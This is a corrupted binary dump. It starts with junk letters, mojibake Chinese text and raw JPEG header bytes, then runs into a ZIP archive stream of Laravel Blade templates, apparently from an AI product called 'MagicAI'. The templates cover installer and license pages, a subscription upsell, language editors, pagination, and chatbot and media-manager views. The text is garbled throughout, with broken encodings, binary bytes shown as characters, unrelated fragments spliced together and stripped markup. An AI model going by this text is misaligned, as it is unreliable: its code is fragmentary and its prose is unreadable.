fjffk简å�•的咖啡店科开å�‘2方法2 环æ»�皆山也。其西å�—诸峰,林壑尤美,望之蔚然而深秀者,ç�…ç�Šä¹Ÿã€‚山行六七里,æ¸�闻水声潺潺,而泻出于两峰之间者,酿泉也 ??????????????????????????????? ??????????????/????????????????? ............/................... .........................../... ??????????????????????????????? >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>> ÿØÿà JFIF    ÿÛ „  ( %!1!%)+//.383,7(-.+  -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  Â¥2" ÿÄ     ÿÄ J    ! 1AQ"aqÂ�2‘#BR‚¡Ã�Ñ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ   ÿÄ *  !1AQa‘"2q3Â�±ð#b¡ÿÚ   ? ¼QxJQaÃ�uò¸Zö Úü8,Ã�Úú "SSn<rçù–´âE—^ªBÖ9À\†¸Â�ÔÂ�Ã�T­ÃÛ5 ëd´³Ã�#Ã�;Þ38ϔÂ� ¶H£M:wÃŽ3…³…âpÔF&‚FK¸9„â4àGEõªfÂ�ÿ ‘ñ(ßw­pŽF|È¥ù®häðÃ�Ѷ¹‘[Ã’inÙW¶ùñYËœQ{›K"išÒ[Ú8žë\F¹@-?v"ÔUâ€�,ìöžkÿ {I‡£šÃ�?e rÂ�íV ?> ......................................... ............................................................................. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> dsdfPK˜W]Lôá .DS_Storenu„[µü¤Bud1ultbwspbldefaultbwspblob¸bplist00Ö ]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar  _{{293, 274}, {920, 436}} #/;R_klmnoŠ ‹defaultvSrnlong  @€ @€ @€ @ EDSDB `€ @€ @€ @PK˜W]hƒà&CC)vendor/laraupdater/notification.blade.phpnu„[µü¤ PK˜W] «ˆnn*vendor/installer/update/finished.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master-update') @section('title', trans('installer_messages.updater.final.title')) @section('container')

{{ session('message')['message'] }}

{{ trans('installer_messages.updater.final.exit') }}
@stop PK˜W]‰TZ œœ)vendor/installer/update/welcome.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master-update') @section('title', trans('installer_messages.updater.welcome.title')) @section('container')

{{ trans('installer_messages.updater.welcome.message') }}

{{ trans('installer_messages.next') }}
@stop PK˜W]VeT©õõ*vendor/installer/update/overview.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master-update') @section('title', trans('installer_messages.updater.welcome.title')) @section('container')

{{ trans_choice('installer_messages.updater.overview.message', $numberOfUpdatesPending, ['number' => $numberOfUpdatesPending]) }}

{{ trans('installer_messages.updater.overview.install_updates') }}
@stop PK˜W]ñŒ�æ.vendor/installer/environment-classic.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.environment.classic.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.environment.classic.title') }} @endsection @section('container')
{!! csrf_field() !!}
@if( ! isset($environment['errors']))
{!! trans('installer_messages.environment.classic.back') !!} {!! trans('installer_messages.environment.classic.install') !!}
@endif @endsectionPK˜W]¥Ûª/\/\-vendor/installer/environment-wizard.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.environment.wizard.templateTitle') }} @endsection @section('title') {!! trans('installer_messages.environment.wizard.title') !!} @endsection @section('container')

{{ __('Setup') }}


@endsection PK˜W]•SO))*vendor/installer/env_file_editor.blade.phpnu„[µü¤
@csrf

MagicAI Installer


General







Database


E-Mail

PK˜W]' P””#vendor/installer/finished.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.final.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.final.title') }} @endsection @section('container')

{{ __('Done') }}!

{{ __('Installation Completed.') }}

{{ __('You have completed the smart installation. You can now register your product in 10 seconds unlock exclusive features.') }}

{{ __('Explore MagicAI') }} @endsection PK˜W]‹¢)n££"vendor/installer/license.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master', ['stepShow' => false]) @section('template_title') {{ trans('Activate you license') }} @endsection @section('title') {{ trans('installer_messages.welcome.title') }} @endsection @section('container')
@includeWhen(is_null($portal), 'vendor.installer.magicai_c4st_Act', ['button' => 'flex items-center justify-center gap-2 rounded-xl p-2 font-medium shadow-[0_4px_10px_rgba(0,0,0,0.05)] transition-all duration-300 hover:scale-105 hover:bg-black hover:text-white', 'target' => '','return_url' => route('LaravelInstaller::license') . '?license=verified']) @includeWhen($portal, 'vendor.installer.magicai_license_token', ['button' => 'flex items-center justify-center gap-2 rounded-xl p-2 font-medium shadow-[0_4px_10px_rgba(0,0,0,0.05)] transition-all duration-300 hover:scale-105 hover:bg-black hover:text-white'])
@endsection PK˜W])ÍÍ0vendor/installer/magicai_license_token.blade.phpnu„[µü¤@props([ 'site_name' => isset($site_name) ? $site_name : 'MagicAi' ])
@csrf

{{ __('Activate your license') }}

{{ __('Activate') }}
PK˜W]RŽ-»G»G'vendor/installer/subscription.blade.phpnu„[µü¤@php $premium_features = [ 'VIP Support' => 'Get instant help whenever you need it.', 'Access to All Current & Future Extensions worth $2000+' => 'Always stay ahead with the latest features.' , 'Access to All Current & Future Themes worth $670'=> 'Always stay ahead with the latest designs.' , 'Get the Mobile App Free in Your 4th Month! worth $3000+' => 'Enjoy a free mobile app after your fourth month of subscription.' , '10 Hours of Custom Development Every Month' => 'Tailored improvements, at no extra cost.' , 'Direct Communication with Our Development Team' => 'No middlemen, just solutions.' , 'Exclusive Extensions Not Available to Others' => 'Stay ahead of competition, reserved for VIPs only.' , 'Complimentary Logo Design' => 'A custom logo to elevate your brand.' , 'Personalized Onboarding Assistance' => 'We’ll help you get up and running smoothly.' , 'Free Setup & Configuration Services' => 'Let us handle the technical details for you.' , ]; @endphp @extends('vendor.installer.layouts.master', ['stepShow' => false]) @section('template_title') {{ trans('Marketplace Subscription') }} @endsection @section('title') {{ trans('installer_messages.welcome.title') }} @endsection @section('style') @endsection @section('content')

{{ trans('Start Your ') }} {{ trans('Premium Membership.') }}

    @foreach ($premium_features as $feature => $tooltip)
  • {!! $feature !!}
  • @endforeach
@if ($data) {{ trans('Subscription activated') }} @else {{ trans('Join the VIP Program') }} @endif
{{ trans('Included Extensions') }}
    @foreach ($paidExtensions as $item)
  • {!! trans($item['name']) !!}
  • @endforeach
{{ trans('Included Themes') }}
    @foreach ($paidThemes as $item)
  • {!! trans($item['name']) !!}
  • @endforeach

{{ trans('Seats are limited.') }} {{ trans('Learn more about') }} {{ trans('Premium Membership') }}

{{-- @includeWhen(is_null($portal), 'vendor.installer.magicai_c4st_Act', [ 'button' => 'flex items-center justify-center gap-2 rounded-xl p-2 font-medium shadow-[0_4px_10px_rgba(0,0,0,0.05)] transition-all duration-300 hover:scale-105 hover:bg-black hover:text-white', 'target' => '', 'return_url' => route('LaravelInstaller::license') . '?license=verified', ]) @includeWhen($portal, 'vendor.installer.magicai_license_token', [ 'button' => 'flex items-center justify-center gap-2 rounded-xl p-2 font-medium shadow-[0_4px_10px_rgba(0,0,0,0.05)] transition-all duration-300 hover:scale-105 hover:bg-black hover:text-white', ]) --}}
@endsection PK˜W]p”Mqè è +vendor/installer/magicai_c4st_Act.blade.phpnu„[µü¤@props([ 'site_name' => isset($site_name) ? $site_name : 'MagicAi', 'return_url' => isset($return_url) ? $return_url : url('/'). '/activate?callback=true', 'target' => isset($target) ? $target : '_blank', 'text' => isset($text) ? $text : 'Activate', ])

{{ __($text . ' your license') }}

{{ __('Thanks for purchashing') }} {{ $site_name }}! {{ __('Please connect to') }} Liquid Portal {{ __('to verify your purchase.') }}

{{ __('Choose your enviroment:') }}

{{ __('Connect to Liquid Portal') }}

{{ __('Having trouble?') }} {{ __('Check documentations') }}

PK˜W]r!¸JJ"vendor/installer/welcome.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.welcome.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.welcome.title') }} @endsection @section('container')

{{ __('Welcome') }}

🪄

{{ __('Let’s start.') }}

{{ __('Thanks for purchasing MagicAI! You can now install your product in seconds and unlock the magic of AI. Let’s get you started!') }}

{{ __('Need help?') }} {{ __('See how it works') }}

{{ __('Next') }} @endsection PK˜W]p9OÉ·a·a)vendor/installer/layouts/master.blade.phpnu„[µü¤@props([ 'stepShow' => $stepShow ?? true, ]) @if (trim($__env->yieldContent('template_title'))) @yield('template_title') | @endif {{ trans('installer_messages.title') }} @php $link = 'resources/views/' . get_theme() . '/scss/landing-page.scss'; @endphp @vite($link) @yield('style') @if ($stepShow)
1 @if (Request::is('install') || Request::is('install/requirements') || Request::is('install/permissions') || Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic')) @endif {{ __('Welcome') }}
2 @if (Request::is('install') || Request::is('install/requirements') || Request::is('install/permissions') || Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic')) @endif {{ __('Server Requirements') }}
3 @if (Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic')) @endif {{ __('Database Setup') }}
4 {{ __('Done') }}
@endif @if (view()->hasSection('content')) @yield('content') @else
@if (session('message') || session()->has('errors'))
@if (session('message'))

@if (is_array(session('message'))) {{ session('message')['message'] }} @else {{ session('message') }} @endif

@endif @if (session()->has('errors'))

{{ trans('installer_messages.forms.errorTitle') }}

    @foreach ($errors->all() as $error)
  1. {{ $error }}
  2. @endforeach
@endif
@endif
@yield('container')
@if (!empty($back_href)) @endif
@endif
@yield('scripts') PK˜W]ÊÈýV""0vendor/installer/layouts/master-update.blade.phpnu„[µü¤ @if (trim($__env->yieldContent('template_title'))) @yield('template_title') | @endif {{ trans('installer_messages.updater.title') }} {{-- --}} @yield('style')

@yield('title')

@yield('container')
PK˜W]Vß�¼uu&vendor/installer/permissions.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.permissions.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.permissions.title') }} @endsection @section('container') @if ( ! isset($permissions['errors']))
{{ trans('installer_messages.permissions.next') }}
@endif @endsection PK˜W]É.ÈÇÇ&vendor/installer/environment.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.environment.menu.templateTitle') }} @endsection @section('title') {!! trans('installer_messages.environment.menu.title') !!} @endsection @section('container')

{!! trans('installer_messages.environment.menu.desc') !!}

{{ trans('installer_messages.environment.menu.wizard-button') }} {{ trans('installer_messages.environment.menu.classic-button') }}
@endsection PK˜W]£ùW^^'vendor/installer/requirements.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.requirements.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.requirements.title') }} @endsection @section('container')

{{ __('Server Requirements') }}

@foreach ($requirements['requirements'] as $type => $requirement) @endforeach @if (!isset($requirements['errors']) && $phpSupportInfo['supported']) {{ __('Next') }} @endif @endsection PK˜W]q úCá á !vendor/l5-swagger/index.blade.phpnu„[µü¤ {{config('l5-swagger.documentations.'.$documentation.'.api.title')}}
PK˜W]vendor/l5-swagger/.gitkeepnu„[µü¤PK˜W]Ì3·¦**vendor/empty.blade.phpnu„[µü¤{{--IMPORTANT: Don't remove this file--}} PK˜W]Üoïkkkvendor/langs/home.blade.phpnu„[µü¤@extends(config('elseyyid-location.layout')) @php $fields = \DB::getSchemaBuilder()->getColumnListing('strings'); if (!in_array('edit', $fields)) { \Illuminate\Support\Facades\Schema::table('strings', function (\Illuminate\Database\Schema\Blueprint $table) { $table->text('edit')->nullable(); }); } @endphp @section(config('elseyyid-location.content_section')) @include('langs::includes.tools') @php $codes = explode(',', $settings_two->languages); @endphp

{{ __('Available Languages') }}

{{ country2flag('us') }} {{ ucfirst('English') }}en


@foreach ($langs as $lang) @if ($lang == 'pt_BR' || $lang == 'edit') @continue @endif @php $lang_region = LaravelLocalization::getSupportedLocales()[str_replace('_','-',$lang)]['regional']; @endphp @php $lang_native = LaravelLocalization::getSupportedLocales()[str_replace('_','-',$lang)]['native']; @endphp

{{ country2flag(substr($lang_region, strrpos($lang_region, '_') + 1)) }} {{ ucfirst($lang_native) }}{{ $lang }}

@endforeach
@endsection PK˜W]@×#**vendor/langs/list.blade.phpnu„[µü¤@extends(config('elseyyid-location.layout')) @section(config('elseyyid-location.content_section'))
@if ($lang != 'edit') @php $lang_region = LaravelLocalization::getSupportedLocales()[str_replace('_','-',$lang)]['regional']; @endphp @php $lang_native = LaravelLocalization::getSupportedLocales()[str_replace('_','-',$lang)]['native']; @endphp

{{ __('Editing Language') }}: {{ country2flag(substr($lang_region, strrpos($lang_region, '_') + 1)) }}{{ ucfirst($lang_native) }} {{ $lang }}

@else

{{ __('Editing Main Strings') }}

@endif
@csrf
@foreach ($list as $key => $value) @foreach ($value->toArray() as $key => $element) @if ($key !== 'code') @if ($key === 'en') @else @endif @endif @endforeach @endforeach
{{ __('String') }} {{ __('Translation') }}
{{ $element }}
Save
@endsection @section(config('elseyyid-location.scripts_section')) @endsection PK˜W]—ãåªQ Q vendor/langs/lang.blade.phpnu„[µü¤@extends(config('elseyyid-location.layout')) @section(config('elseyyid-location.content_section')) @include('langs::includes.tools')

String {{$string->en}} ({{$string->code}})

@foreach (collect($string)->except(['code','created_at','updated_at'])->toArray() as $key => $element)
{{$key}} {{country2flag($key)}}
{{$element}}

@endforeach @endsection @section(config('elseyyid-location.scripts_section')) @endsection PK˜W]s¿ñ``$vendor/langs/search_result.blade.phpnu„[µü¤@extends(config('elseyyid-location.layout')) @section(config('elseyyid-location.content_section')) @include('langs::includes.tools')

{{__('Search Result for')}} '{{$search_value }}'

@if (count($result) > 0)
@foreach ($result as $element)
{{$element->en}}

@endforeach
@else

No results for {{ $search_value }}

@endif @endsection PK˜W]“×2#vendor/langs/includes/nav.blade.phpnu„[µü¤ PK˜W]‘G–’==(vendor/langs/includes/messages.blade.phpnu„[µü¤@if ($errors->any())
@foreach ($errors->all() as $error) {!! $error !!}
@endforeach
@elseif (session()->get('flash_success'))
{{__('Success')}}
@elseif (session()->get('flash_warning'))
@if(is_array(json_decode(session()->get('flash_warning'), true))) {!! implode('', session()->get('flash_warning')->all(':message
')) !!} @else {!! session()->get('flash_warning') !!} @endif
@elseif (session()->get('flash_info'))
@if(is_array(json_decode(session()->get('flash_info'), true))) {!! implode('', session()->get('flash_info')->all(':message
')) !!} @else {!! session()->get('flash_info') !!} @endif
@elseif (session()->get('flash_danger'))
@if(is_array(json_decode(session()->get('flash_danger'), true))) {!! implode('', session()->get('flash_danger')->all(':message
')) !!} @else {!! session()->get('flash_danger') !!} @endif
@elseif (session()->get('flash_message'))
@if(is_array(json_decode(session()->get('flash_message'), true))) {!! implode('', session()->get('flash_message')->all(':message
')) !!} @else {!! session()->get('flash_message') !!} @endif
@endifPK˜W]mu733%vendor/langs/includes/tools.blade.phpnu„[µü¤
{{--
{{__('All Locations')}} {{__('Reinstall Language Files')}} {{__('Publish All Json Files')}}
--}}

PK˜W]NÈr;"vendor/langs/layouts/app.blade.phpnu„[µü¤@extends('panel.layout.settings', ['layout' => 'fullwidth']) @section('title', __('Manage Languages')) @section('titlebar_actions')
@if (!activeRoute('elseyyid.translations.lang')) {{ __('Reinstall Language Files') }} @else {{ 'New String' }} @endif {{ __('Publish All JSON Files') }}
@endsection @section('settings') @include('langs::includes.nav') @include('langs::includes.messages') @yield('content_translation') @endsection @push('script') @yield('scripts') @endpush PK˜W]ôd$YY+vendor/pagination/bootstrap-5-alt.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]E©‡É!!.vendor/pagination/simple-bootstrap-4.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]"Û”tt'vendor/pagination/bootstrap-4.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]ãZV˜˜.vendor/pagination/simple-bootstrap-5.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]àX  *vendor/pagination/simple-default.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]a•$Μœ vendor/pagination/ajax.blade.phpnu„[µü¤@php if (!function_exists('get_page_number')) { function get_page_number(string $page_url) { $data = parse_url($page_url); parse_str($data['query'], $output); return $output['page'] ?? '1'; } } if (!isset($target_id)) { $target_id = 'lqd-posts-container'; } if (!isset($currfolder)) { $currfolder = null; } @endphp @if ($paginator->hasPages())
@endif PK˜W]z9m!55'vendor/pagination/bootstrap-5.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]M,Ô ££+vendor/pagination/simple-tailwind.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]¿`Ä–MM#vendor/pagination/default.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]Â8F’’'vendor/pagination/semantic-ui.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]@Ìšš$vendor/pagination/tailwind.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PK˜W]k| ¸  >livewire/admin/finance/plan/subscription-plan-create.blade.phpnu„[µü¤
@lang("We've revamped the plan management system to give you full control over your pricing strategies. Your users' credits will be migrated to the new pricing system, so you may need to review and update your pricing plans. New pricing plans won't be affected.") @lang('Learn more >')
@for ($i = 1; $i <= $this->totalStep(); $i++)
$this->currentStep() >= $i, ])> {{ $i }} @lang($this->stepTitle($i))
@endfor
@includeWhen($this->currentStepIs(1), 'panel.admin.finance.plan.includes.step-first') @includeWhen($this->currentStepIs(2), 'panel.admin.finance.plan.includes.step-second') @includeWhen($this->currentStepIs(3), 'panel.admin.finance.plan.includes.step-third') @includeWhen($this->currentStepIs(4), 'panel.admin.finance.plan.includes.step-fourth') @include('panel.admin.finance.plan.includes.step-actions')
PK˜W]º°���<livewire/admin/finance/plan/token-pack-plan-create.blade.phpnu„[µü¤
@lang("We've revamped the plan management system to give you full control over your pricing strategies. Your users' credits will be migrated to the new pricing system, so you may need to review and update your pricing plans. New pricing plans won't be affected.") @lang('Learn more >')
@for ($i = 1; $i <= $this->totalStep(); $i++)
$this->currentStep() >= $i, ])> {{ $i }} @lang($this->stepTitle($i))
@endfor
@if ($this->currentStepIs(1))
@endif @if ($this->currentStepIs(2)) @include('panel.admin.finance.plan.includes.step-fourth') @endif @include('panel.admin.finance.plan.includes.step-actions')
PK˜W]]ü]p  livewire/offline.blade.phpnu„[µü¤
{{ __('No Internet Connection') }}
PK˜W]¦lÁ livewire/chatbot/empty.blade.phpnu„[µü¤
PK˜W]'sF�••"livewire/chatbot/chatbot.blade.phpnu„[µü¤
@include('panel.chatbot.widget')
@assets {!! \App\Support\Chatbot\ChatbotHelper::getViteAssets('resources/views/default/js/chatbotApp.js') !!} {{----}} @endassetsPK˜W]Úø‚rlivewire/chatbot/code.blade.phpnu„[µü¤
@if ($showCodeDialog)
{{ __('Copy to Clipboard') }}
{{ __('Copy to Clipboard') }}
{{ __('Copy to Clipboard') }}
@endif
{{--
--}} {{-- --}} {{--
--}}PK˜W].öº„4 4 !livewire/chatbot/domain.blade.phpnu„[µü¤
  • {{ $domain->domain }}
    @if ($editDomainDialog)
    @error('editingDomain')

    {{ $message }}

    @enderror
    {{ __('Update') }}
    @endif @if ($deleteDomainDialog)
    {{ __('Are you sure you want to delete this domain?') }}
    {{ __('Cancel') }} {{ __('Delete') }}
    @endif
  • PK˜W]h ûÓr r "livewire/chatbot/domains.blade.phpnu„[µü¤
    @if ($addDomainButton) @endif
    @if ($this->domains->isNotEmpty()) @else

    {{ __('No domains yet.') }}

    @endif
    @if ($addDomainDialog)
    @error('domain')

    {{ $message }}

    @enderror
    {{ __('Add Domain') }}
    @endif
    PK˜W]=€ð[¾2¾2&livewire/media-manager-modal.blade.phpnu„[µü¤@php use Illuminate\Support\Str; @endphp
    {{-- Header with Title, Filters, Sorting, and Search --}}

    @lang('Content Manager')

    {{-- Filters Tabs --}}
      @foreach ($filters as $filter)
    • @endforeach
    {{-- Sorting & Search --}}
    {{ __('Sort by') }}
    @foreach ($sortButtons as $button) @endforeach
    {{-- Search input with clear button --}}
    @if (!empty($searchTerm)) @endif {{-- Search loading indicator --}}
    {{-- Upload Files Section --}} @if ($activeFilter === 'Upload Files')
    {{-- Upload Area --}}

    @lang('Drag and Drop a File')

    @lang('or')
    {{-- File Processing Indicator --}}
    @lang('Processing selected files')...

    @lang('Please wait, validating large files may take a moment.')

    {{-- File List --}} @if (count($uploadingFiles))
      @foreach ($uploadingFiles as $file)
    • {{ $file?->getClientOriginalName() }} {{ number_format($file?->getSize() / 1024, 1) }} KB
    • @endforeach
    @endif {{-- Upload Errors --}} @if (!empty($uploadErrors))
      @foreach ($uploadErrors as $error)
    • • {{ $error }}
    • @endforeach
    @endif {{-- Upload Progress --}} @if ($isUploading && !empty($uploadProgress))
    {{ $uploadProgress }}
    @endif {{-- Upload Success --}} @if (!empty($uploadedFiles) && !$isUploading)

    ✓ {{ count($uploadedFiles) }} file(s) uploaded successfully!

      @foreach ($uploadedFiles as $file)
    • • {{ $file['name'] }}
    • @endforeach
    @endif {{-- Action Buttons --}}
    {{ count($uploadingFiles) ? __('Add More') : __('Browse Files') }}

    @lang('Max :max files, :maxSize MB each.', [ 'max' => setting('media_max_files', 5), 'maxSize' => setting('media_max_size', 25), ])
    @lang('Allowed types: :types', [ 'types' => setting('media_allowed_types', 'jpg, png, gif, webp, svg, mp4, avi, mov, wmv, flv, webm, mp3, wav, m4a, pdf, doc, docx, xls, xlsx'), ])

    @endif {{-- Images Section --}} @if ($activeFilter === 'Images')
    {{-- Search results info --}} @if (!empty($searchTerm))
    @if ($images->count() > 0) @lang('Found :count images for', ['count' => $images->count()]) "{{ $searchTerm }}" @else @lang('No images found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($images as $image) @php $isDisabledImage = $this->isCardDisabled('image', $this->allowedTypes); @endphp
    @php $img = $image->output_url ?? $image->url; if (Str::contains($img, 'uploads')) { $img = Str::after($img, '/uploads'); $img = '/uploads' . $img; } @endphp {{ $image->title ?? $image->input }}
    {{ $image->title ?? Str::limit($image->input ?? ($image->filename ?? 'Untitled'), 30) }}
    {{-- Show creation date on hover --}}
    {{ $image->format_date ?? $image->created_at->format('M d, Y') }}
    {{-- Selection indicator --}} @if (in_array((string) $image->id, $selectedImages ?? [], true)) @endif
    @empty

    @lang('No images found.')

    @if (!empty($searchTerm))

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading indicator --}} @if ($hasMoreImages && !$isLoading && $images->count() > 0)
    @lang('Scroll for more images...')
    @endif {{-- Loading spinner --}}
    @if (!empty($selectedImages) && count($selectedImages) > 0)
    @lang($allowMultipleSelection ? 'Insert Selected Images' : 'Insert Selected Image') @if ($allowMultipleSelection) ({{ count($selectedImages) }}) @endif
    @endif @endif {{-- Videos Section --}} @if ($activeFilter === 'Videos')
    {{-- Search results info --}} @if (!empty($searchTerm))
    @if ($videos->count() > 0) @lang('Found :count videos for', ['count' => $videos->count()]) "{{ $searchTerm }}" @else @lang('No videos found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($videos as $video) @php $isDisabledVideo = $this->isCardDisabled('video', $this->allowedTypes); @endphp
    {{-- Video thumbnail or video player --}} @if (isset($video->output_url) && $video->output_url)
    {{-- Static thumbnail/placeholder shown initially --}}
    {{-- Video element (initially without src) --}}
    @else
    @endif {{-- Video Controls Overlay --}} @if (isset($video->output_url) && $video->output_url)
    @endif
    {{ $video->title ?? Str::limit($video->input ?? ($video->filename ?? 'Untitled'), 30) }}
    {{-- Show creation date on hover --}}
    {{ $video->format_date ?? $video->created_at->format('M d, Y') }}
    {{-- Selection indicator --}} @if (in_array((string) $video->id, $selectedVideos ?? [], true)) @endif @if (!in_array((string) $video->id, $selectedVideos ?? [], true))
    @endif
    @empty

    @lang('No videos found.')

    @if (!empty($searchTerm))

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading indicator --}} @if ($hasMoreVideos && !$isLoading && $videos->count() > 0)
    @lang('Scroll for more videos...')
    @endif {{-- Loading spinner --}}
    @if (!empty($selectedVideos) && count($selectedVideos) > 0)
    @lang($allowMultipleSelection ? 'Insert Selected Videos' : 'Insert Selected Video') @if ($allowMultipleSelection && count($selectedVideos)) ({{ count($selectedVideos) }}) @endif
    @endif @endif {{-- Other Files Section --}} @if ($activeFilter === 'Other Files')
    {{-- Search results info --}} @if (!empty($searchTerm))
    @if ($otherFiles->count() > 0) @lang('Found :count files for', ['count' => $otherFiles->count()]) "{{ $searchTerm }}" @else @lang('No files found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($otherFiles as $file) @php $isDisabledOther = $this->isCardDisabled('other', $this->allowedTypes); @endphp
    {{-- File icon based on extension --}}
    @if (in_array($file->extension, ['pdf'])) @elseif (in_array($file->extension, ['doc', 'docx'])) @elseif (in_array($file->extension, ['xls', 'xlsx'])) @elseif (in_array($file->extension, ['ppt', 'pptx'])) @else @endif
    {{-- File info --}}

    {{ \Illuminate\Support\Str::limit($file->filename, 20, '...') }}

    {{ strtoupper($file->extension) }} • {{ number_format($file->file_size / 1024, 1) }} KB

    {{ $file->format_date }}

    {{-- Selection indicator --}} @if (in_array((string) $file->id, $selectedOtherFiles ?? [], true)) @endif
    @empty

    @lang('No files found.')

    @if (!empty($searchTerm))

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading indicator --}} @if ($hasMoreOtherFiles && !$isLoading && $otherFiles->count() > 0)
    @lang('Scroll for more files...')
    @endif {{-- Loading spinner --}}
    @if (!empty($selectedOtherFiles) && count($selectedOtherFiles) > 0)
    @lang('Insert Selected Files') ({{ count($selectedOtherFiles) }})
    @endif @endif {{-- Google Drive Section --}} @if ($activeFilter === 'Google Drive')

    @lang('Google Drive integration coming soon...')

    @endif {{-- Stock Images Section --}} @if ($activeFilter === 'Stock Images')
    {{-- Search results info --}} @if (!empty($searchTerm))
    @if ($stockImages->count() > 0) @lang('Found :count stock images for', ['count' => $stockImages->count()]) "{{ $searchTerm }}" @else @lang('No stock images found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($stockImages as $stockImage) @php $isDisabledImage = $this->isCardDisabled('image', $this->allowedTypes); // Check if this stock image is selected $isSelected = in_array((string) $stockImage->id, $selectedStockImages ?? [], true); @endphp
    {{ $stockImage->title }} {{-- Title overlay - matches images section style --}}
    {{ Str::limit($stockImage->title ?? 'Untitled', 30) }}
    {{-- Selection indicator --}} @if ($isSelected) @endif
    @empty
    @if (empty($searchTerm))

    @lang('Enter a search term to find stock images')

    @else

    @lang('No stock images found for') "{{ $searchTerm }}"

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading spinner --}}
    {{-- Insert button for selected stock images --}} @if (!empty($selectedStockImages) && count($selectedStockImages) > 0)
    @lang($allowMultipleSelection ? 'Download & Insert Selected Images' : 'Download & Insert Selected Image') @if ($allowMultipleSelection) ({{ count($selectedStockImages) }}) @endif @lang('Downloading...')
    @endif @endif {{-- Stock Videos Section --}} @if ($activeFilter === 'Stock Videos')
    {{-- Search results info --}} @if (!empty($searchTerm))
    @if ($stockVideos->count() > 0) @lang('Found :count stock videos for', ['count' => $stockVideos->count()]) "{{ $searchTerm }}" @else @lang('No stock videos found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($stockVideos as $stockVideo) @php $isDisabledVideo = $this->isCardDisabled('video', $this->allowedTypes); // Check if this stock video is selected $isSelected = in_array((string) $stockVideo->id, $selectedStockVideos ?? [], true); @endphp
    {{-- Video thumbnail with hidden video player --}} @if ($stockVideo->thumbnail)
    {{ $stockVideo->title }} {{-- Hidden video player for stock videos --}} @if ($stockVideo->preview_url || $stockVideo->url) @endif
    @else
    @endif {{-- Video Controls Overlay --}} @if ($stockVideo->preview_url || $stockVideo->url)
    @endif {{-- Duration badge --}} @if ($stockVideo->duration > 0)
    {{ gmdate('i:s', $stockVideo->duration) }}
    @endif {{-- Title overlay --}}
    {{ Str::limit($stockVideo->title ?? 'Untitled', 30) }}
    {{-- Selection indicator --}} @if ($isSelected) @endif
    @empty
    @if (empty($searchTerm))

    @lang('Enter a search term to find stock videos')

    @else

    @lang('No stock videos found for') "{{ $searchTerm }}"

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading spinner --}}
    {{-- Insert button for selected stock videos --}} @if (!empty($selectedStockVideos) && count($selectedStockVideos) > 0)
    @lang($allowMultipleSelection ? 'Download & Insert Selected Videos' : 'Download & Insert Selected Video') @if ($allowMultipleSelection) ({{ count($selectedStockVideos) }}) @endif @lang('Downloading...')
    @endif @endif
    PK˜W]µ2O$O$&livewire/assign-view-credits.blade.phpnu„[µü¤
    @foreach ($enabledAiEngines as $aiEngine) @if (isset($entities[$aiEngine->value]))
    @php $defaultModels = $aiEngine->getDefaultModels($setting, $settings_two); $modelsWithoutDefault = $aiEngine->getListableActiveModels($setting, $settings_two); @endphp @foreach ($defaultModels as $defaultModel)
    {{ $defaultModel->tooltipHowToCalc() }} @php $key = $defaultModel->engine()->slug().'.'.$defaultModel->slug(); if (data_get($costs, $key . '.isUnlimited')) { $cost = '∞'; } else{ if (is_numeric(data_get($costs, $key.'.credit', 0.00))) { $cost = '$' . formatSmallNumber(data_get($costs, $key.'.credit', 0.00)); } } @endphp {{ trans('Estimated cost (USD): '). $cost }}
    @endforeach @if ($modelsWithoutDefault->count() > 0)
